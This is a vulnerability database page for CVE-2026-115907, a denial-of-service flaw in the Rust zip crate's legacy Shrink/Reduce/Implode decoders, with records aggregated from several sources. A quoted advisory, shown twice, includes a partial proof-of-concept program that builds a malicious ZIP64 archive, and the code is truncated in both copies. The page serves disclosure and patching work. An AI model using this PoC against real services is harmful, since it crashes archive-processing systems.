Every CVE Search/ Get API key

CVE-2026-115907

zip: legacy Shrink/Reduce/Implode decoder: denial of service from attacker-controlled ZIP64 uncompressed size

7.5 HighFix available

zip is a zip library for Rust that supports reading and writing simple ZIP files. From 5.1.0 until 9.0.0, applications built with the legacy-zip feature can reserve output capacity from an attacker-controlled ZIP64 uncompressed size before validating the compressed stream. The ShrinkDecoder path in src/legacy/shrink.rs can panic with a capacity overflow during ZipArchive::extract, and the Reduce and Implode decoders contain the same unbounded preallocation pattern. An unhandled panic can terminate an archive-processing service. This issue is fixed in version 9.0.0.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
High

Exploit likelihood

0.35%Unchanged since Oct 27, 2026
90%50%10%1%

What each source reports

CVE List Score used 7.5

zip: legacy Shrink/Reduce/Implode decoder: denial of service from attacker-controlled ZIP64 uncompressed size

zip is a zip library for Rust that supports reading and writing simple ZIP files. From 5.1.0 until 9.0.0, applications built with the legacy-zip feature can reserve output capacity from an attacker-controlled ZIP64 uncompressed size before validating the compressed stream. The ShrinkDecoder path in src/legacy/shrink.rs can panic with a capacity overflow during ZipArchive::extract, and the Reduce and Implode decoders contain the same unbounded preallocation pattern. An unhandled panic can terminate an archive-processing service. This issue is fixed in version 9.0.0.

Record
CVE-2026-115907
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-400, CWE-789
Updated
2026-11-02
EUVDEUVD-2026-109984 7.5

zip is a zip library for Rust that supports reading and writing simple ZIP files. From 5.1.0 until 9.0.0, applications built with the legacy-zip feature can reserve output capacity from an attacker-controlled ZIP64 uncompressed size before validating the compressed stream. The ShrinkDecoder path in src/legacy/shrink.rs can panic with a capacity overflow during ZipArchive::extract, and the Reduce and Implode decoders contain the same unbounded preallocation pattern. An unhandled panic can terminate an archive-processing service. This issue is fixed in version 9.0.0.

Record
EUVD-2026-109984
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-9hj8-73fh-9963 7.5

zip: legacy Shrink/Reduce/Implode decoder: denial of service from attacker-controlled ZIP64 uncompressed size

Summary

A malicious 149-byte ZIP archive can cause a denial of service in applications that enable legacy-zip and use ZipArchive::extract(). An attacker-controlled ZIP64 uncompressed size triggers a capacity overflow panic in the Shrink decoder in optimized builds, potentially terminating the affected process.

Details

When reading a Shrink-compressed entry, ShrinkDecoder::read() buffers the compressed input and reserves output capacity using the entry's declared uncompressed size:

if !self.stream_read {
    self.stream_read = true;
    let mut compressed_bytes = Vec::new();
    self.compressed_reader.read_to_end(&mut compressed_bytes)?;
    self.stream.reserve(self.uncompressed_size as usize);
    hwunshrink(
        &compressed_bytes,
        self.uncompressed_size as usize,
        &mut self.stream,
    )?;
}

In version 8.6.0, this is located in src/legacy/shrink.rs. The vulnerable legacy codecs are compiled when the legacy-zip Cargo feature is enabled.

self.uncompressed_size is populated from ZIP metadata. For ZIP64 entries, an attacker can set it to a 64-bit value independently of the archive's actual compressed payload size. The PoC declares an uncompressed size of u64::MAX, while supplying only one byte of compressed data.

The reserve occurs before hwunshrink() can validate or decode the compressed stream. Consequently, the impossible capacity causes a deterministic capacity overflow panic instead of returning a normal archive or I/O error. The behavior also occurs in optimized release builds and is reachable through ZipArchive::extract().

The same unbounded allocation pattern is present in the legacy Reduce and Implode decoder implementations. This PoC specifically demonstrates the Shrink path.

PoC

Create a new Cargo project with the following layout:

zip2-legacy-poc/
|-- Cargo.toml
`-- src/
    `-- main.rs

Use this Cargo.toml:

[package]
name = "zip2-legacy-poc"
version = "0.1.0"
edition = "2024"
publish = false

[dependencies]
tempfile = "3"
zip = { version = "=8.6.0", features = ["legacy-zip"] }

Use this src/main.rs:

use std::fs::File;
use std::io::{Cursor, Write};

fn push16(out: &mut Vec<u8>, value: u16) {
    out.extend_from_slice(&value.to_le_bytes());
}

fn push32(out: &mut Vec<u8>, value: u32) {
    out.extend_from_slice(&value.to_le_bytes());
}

fn push64(out: &mut Vec<u8>, value: u64) {
    out.extend_from_slice(&value.to_le_bytes());
}

fn zip64_extra() -> Vec<u8> {
    let mut extra = Vec::new();
    push16(&mut extra, 0x0001);
    push16(&mut extra, 16);
    push64(&mut extra, u64::MAX);
    push64(&mut extra, 1);
    extra
}

fn archive() -> Vec<u8> {
    let name = b"entry";
    let extra = zip64_extra();
    let mut out = Vec::new();

    push32(&mut out, 0x0403_4b50);
    push16(&mut out, 45);
    push16(&mut out, 0);
    push16(&mut out, 1); // Shrink compression.
    push16(&mut out, 0);
    push16(&mut out, 0);
    push32(&mut out, 0);
    push32(&mut out, u32::MAX);
    push32(&mut out, u32::MAX);
    push16(&mut out, name.len() as u16);
    push16(&mut out, extra.len() as u16);
    out.extend_from_slice(name);
    out.extend_from_slice(&extra);
    out.push(0);

    let central_start = out.len() as u32;

    push32(&mut out, 0x0201_4b50);
    push16(&mut out, 45);
    push16(&mut out, 45);
    push16(&mut out, 0);
    push16(&mut out, 1); // Shrink compression.
    push16(&mut out, 0);
    push16(&mut out, 0);
    push32(&mut out, 0);
    push32(&mut out, u32::MAX);
    push32(&mut out, u32::MAX);
    push16(&mut out, name.len() as u16);
    push16(&mut out, extra.len() as u16);
    push16(&mut out, 0);
    push16(&mut out, 0);
    push16(&mut out, 0);
    push32(&mut out, 0);
    push32(&mut out, 0);
    out.extend_from_slice(name);
    out.extend_from_slice(&extra);

    let central_size =…
Record
GHSA-9hj8-73fh-9963
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-400, CWE-789
Updated
2026-11-02
NVD 7.5

zip is a zip library for Rust that supports reading and writing simple ZIP files. From 5.1.0 until 9.0.0, applications built with the legacy-zip feature can reserve output capacity from an attacker-controlled ZIP64 uncompressed size before validating the compressed stream. The ShrinkDecoder path in src/legacy/shrink.rs can panic with a capacity overflow during ZipArchive::extract, and the Reduce and Implode decoders contain the same unbounded preallocation pattern. An unhandled panic can terminate an archive-processing service. This issue is fixed in version 9.0.0.

Record
CVE-2026-115907
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-400, CWE-789
Updated
2026-11-02
OSV 7.5

zip: legacy Shrink/Reduce/Implode decoder: denial of service from attacker-controlled ZIP64 uncompressed size

zip is a zip library for Rust that supports reading and writing simple ZIP files. From 5.1.0 until 9.0.0, applications built with the legacy-zip feature can reserve output capacity from an attacker-controlled ZIP64 uncompressed size before validating the compressed stream. The ShrinkDecoder path in src/legacy/shrink.rs can panic with a capacity overflow during ZipArchive::extract, and the Reduce and Implode decoders contain the same unbounded preallocation pattern. An unhandled panic can terminate an archive-processing service. This issue is fixed in version 9.0.0.

Record
CVE-2026-115907
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-400, CWE-789
Updated
2026-11-02
OSVDEBIAN-CVE-2026-115907 7.5

zip is a zip library for Rust that supports reading and writing simple ZIP files. From 5.1.0 until 9.0.0, applications built with the legacy-zip feature can reserve output capacity from an attacker-controlled ZIP64 uncompressed size before validating the compressed stream. The ShrinkDecoder path in src/legacy/shrink.rs can panic with a capacity overflow during ZipArchive::extract, and the Reduce and Implode decoders contain the same unbounded preallocation pattern. An unhandled panic can terminate an archive-processing service. This issue is fixed in version 9.0.0.

Record
DEBIAN-CVE-2026-115907
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
Show 5 moreShow less
OSVGHSA-9hj8-73fh-9963 7.5

zip: legacy Shrink/Reduce/Implode decoder: denial of service from attacker-controlled ZIP64 uncompressed size

Summary

A malicious 149-byte ZIP archive can cause a denial of service in applications that enable legacy-zip and use ZipArchive::extract(). An attacker-controlled ZIP64 uncompressed size triggers a capacity overflow panic in the Shrink decoder in optimized builds, potentially terminating the affected process.

Details

When reading a Shrink-compressed entry, ShrinkDecoder::read() buffers the compressed input and reserves output capacity using the entry's declared uncompressed size:

if !self.stream_read {
    self.stream_read = true;
    let mut compressed_bytes = Vec::new();
    self.compressed_reader.read_to_end(&mut compressed_bytes)?;
    self.stream.reserve(self.uncompressed_size as usize);
    hwunshrink(
        &compressed_bytes,
        self.uncompressed_size as usize,
        &mut self.stream,
    )?;
}

In version 8.6.0, this is located in src/legacy/shrink.rs. The vulnerable legacy codecs are compiled when the legacy-zip Cargo feature is enabled.

self.uncompressed_size is populated from ZIP metadata. For ZIP64 entries, an attacker can set it to a 64-bit value independently of the archive's actual compressed payload size. The PoC declares an uncompressed size of u64::MAX, while supplying only one byte of compressed data.

The reserve occurs before hwunshrink() can validate or decode the compressed stream. Consequently, the impossible capacity causes a deterministic capacity overflow panic instead of returning a normal archive or I/O error. The behavior also occurs in optimized release builds and is reachable through ZipArchive::extract().

The same unbounded allocation pattern is present in the legacy Reduce and Implode decoder implementations. This PoC specifically demonstrates the Shrink path.

PoC

Create a new Cargo project with the following layout:

zip2-legacy-poc/
|-- Cargo.toml
`-- src/
    `-- main.rs

Use this Cargo.toml:

[package]
name = "zip2-legacy-poc"
version = "0.1.0"
edition = "2024"
publish = false

[dependencies]
tempfile = "3"
zip = { version = "=8.6.0", features = ["legacy-zip"] }

Use this src/main.rs:

use std::fs::File;
use std::io::{Cursor, Write};

fn push16(out: &mut Vec<u8>, value: u16) {
    out.extend_from_slice(&value.to_le_bytes());
}

fn push32(out: &mut Vec<u8>, value: u32) {
    out.extend_from_slice(&value.to_le_bytes());
}

fn push64(out: &mut Vec<u8>, value: u64) {
    out.extend_from_slice(&value.to_le_bytes());
}

fn zip64_extra() -> Vec<u8> {
    let mut extra = Vec::new();
    push16(&mut extra, 0x0001);
    push16(&mut extra, 16);
    push64(&mut extra, u64::MAX);
    push64(&mut extra, 1);
    extra
}

fn archive() -> Vec<u8> {
    let name = b"entry";
    let extra = zip64_extra();
    let mut out = Vec::new();

    push32(&mut out, 0x0403_4b50);
    push16(&mut out, 45);
    push16(&mut out, 0);
    push16(&mut out, 1); // Shrink compression.
    push16(&mut out, 0);
    push16(&mut out, 0);
    push32(&mut out, 0);
    push32(&mut out, u32::MAX);
    push32(&mut out, u32::MAX);
    push16(&mut out, name.len() as u16);
    push16(&mut out, extra.len() as u16);
    out.extend_from_slice(name);
    out.extend_from_slice(&extra);
    out.push(0);

    let central_start = out.len() as u32;

    push32(&mut out, 0x0201_4b50);
    push16(&mut out, 45);
    push16(&mut out, 45);
    push16(&mut out, 0);
    push16(&mut out, 1); // Shrink compression.
    push16(&mut out, 0);
    push16(&mut out, 0);
    push32(&mut out, 0);
    push32(&mut out, u32::MAX);
    push32(&mut out, u32::MAX);
    push16(&mut out, name.len() as u16);
    push16(&mut out, extra.len() as u16);
    push16(&mut out, 0);
    push16(&mut out, 0);
    push16(&mut out, 0);
    push32(&mut out, 0);
    push32(&mut out, 0);
    out.extend_from_slice(name);
    out.extend_from_slice(&extra);

    let central_size =…
Record
GHSA-9hj8-73fh-9963
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-400, CWE-789
Updated
2026-11-02
OSVUBUNTU-CVE-2026-115907 7.5

zip is a zip library for Rust that supports reading and writing simple ZIP files. From 5.1.0 until 9.0.0, applications built with the legacy-zip feature can reserve output capacity from an attacker-controlled ZIP64 uncompressed size before validating the compressed stream. The ShrinkDecoder path in src/legacy/shrink.rs can panic with a capacity overflow during ZipArchive::extract, and the Reduce and Implode decoders contain the same unbounded preallocation pattern. An unhandled panic can terminate an archive-processing service. This issue is fixed in version 9.0.0.

Record
UBUNTU-CVE-2026-115907
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-04
OSVopenSUSE-SU-2026:12307-1 No score

python313-uv-0.13.6-1.1 on GA media

These are all security issues fixed in the python313-uv-0.13.6-1.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2026:12307-1
Updated
2026-11-02
OSVSUSE-SU-2026:4930-1 No score

Security update for rust-keylime

This update for rust-keylime fixes the following issue:

  • CVE-2026-115905: zip: security control bypass via parser differential between central directory and local headers (bsc#1287921)
  • CVE-2026-115906: zip: authentication bypass in AES encrypted entries due to improper HMAC verification (bsc#1287921)
  • CVE-2026-115907: zip: denial of service via unbounded memory allocation in legacy decoders (bsc#1287921)
  • CVE-2026-115908: zip: path traversal via lexical symlink validation during extraction (bsc#1287921)
  • CVE-2026-115909: zip: denial of service via uncontrolled memory allocation on symlink targets (bsc#1287921)

Changes for rust-keylime:

  • Update to version 0.2.10+12:
  • log Agent UUID at push agent startup
  • Limit actix-web workers
  • Fix clippy needless_late_init warnings
  • Unwrap OCTET STRING wrapped EK certificates
  • build(deps): bump rand from 0.9.4 to 0.10.1
  • build(deps): bump glob from 0.3.3 to 0.3.4
  • build(deps): bump reqwest from 0.13.3 to 0.13.4
  • Check shutdown marker inside ml_extend loop
  • Fix clippy useless_borrows_in_formatting warnings
  • build(deps): bump tokio from 1.52.2 to 1.53.1
  • Fix payload key upgrade regression by falling back to mTLS key
  • Accept any RSA key size for payload encryption
  • Bump version to 0.2.10
  • keylime: use runtime OpenSSL algorithm detection instead of compile-time symbols
Record
SUSE-SU-2026:4930-1
Updated
2026-11-02
OSVSUSE-SU-2026:4931-1 No score

Security update for rust-keylime

This update for rust-keylime fixes the following issue:

  • CVE-2026-115905: zip: security control bypass via parser differential between central directory and local headers (bsc#1287921)
  • CVE-2026-115906: zip: authentication bypass in AES encrypted entries due to improper HMAC verification (bsc#1287921)
  • CVE-2026-115907: zip: denial of service via unbounded memory allocation in legacy decoders (bsc#1287921)
  • CVE-2026-115908: zip: path traversal via lexical symlink validation during extraction (bsc#1287921)
  • CVE-2026-115909: zip: denial of service via uncontrolled memory allocation on symlink targets (bsc#1287921)

Changes for rust-keylime:

  • Update to version 0.2.10+12:
  • log Agent UUID at push agent startup
  • Limit actix-web workers
  • Fix clippy needless_late_init warnings
  • Unwrap OCTET STRING wrapped EK certificates
  • build(deps): bump rand from 0.9.4 to 0.10.1
  • build(deps): bump glob from 0.3.3 to 0.3.4
  • build(deps): bump reqwest from 0.13.3 to 0.13.4
  • Check shutdown marker inside ml_extend loop
  • Fix clippy useless_borrows_in_formatting warnings
  • build(deps): bump tokio from 1.52.2 to 1.53.1
  • Fix payload key upgrade regression by falling back to mTLS key
  • Accept any RSA key size for payload encryption
  • Bump version to 0.2.10
  • keylime: use runtime OpenSSL algorithm detection instead of compile-time symbols
Record
SUSE-SU-2026:4931-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
zip
crates.io
5.1.0 up to 9.0.0
9.0.0
rust-zip
Debian:12
All versions, plus listed versions
0.6.3-30.6.6-10.6.6-20.6.6-30.6.6-4
Show 9 moreShow less
0.6.6-52.5.0-15.1.1+dfsg-15.1.1-15.1.1-25.1.1-35.1.1-49.0.5+ds-19.1.3+ds-1
None known
rust-zip
Debian:13
All versions, plus listed versions
2.5.0-15.1.1+dfsg-15.1.1-15.1.1-25.1.1-35.1.1-49.0.5+ds-19.1.3+ds-1
None known
rust-zip
Debian:14
All versions, plus listed versions
2.5.0-15.1.1+dfsg-15.1.1-15.1.1-25.1.1-35.1.1-49.0.5+ds-19.1.3+ds-1
None known
rust-keylime
SUSE:Linux Enterprise Micro 5.4
From an advisory covering 5 CVEs
before 0.2.10+12-150400.3.22.1
0.2.10+12-150400.3.22.1
rust-keylime
SUSE:Linux Enterprise Micro 5.5
From an advisory covering 5 CVEs
before 0.2.10+12-150500.3.22.1
0.2.10+12-150500.3.22.1
rust-zip
Ubuntu:26.10
All versions, plus listed versions
5.1.1-35.1.1+dfsg-1
None known
rust-zip
Ubuntu:26.04:LTS
All versions, plus listed versions
2.5.0-15.1.1-25.1.1-3
None known
python-uv
openSUSE:Tumbleweed
From an advisory covering 3 CVEs
before 0.13.6-1.1
0.13.6-1.1

History

History
RecordedChangedSources
affected
affected, factsOSV
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-115907 is a high vulnerability (CVSS 7.5) in Zip-rs Zip2, published October 26, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.35%, the 28th percentile. Fixed in zip 9.0.0.

References

Show 18 moreShow less
This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open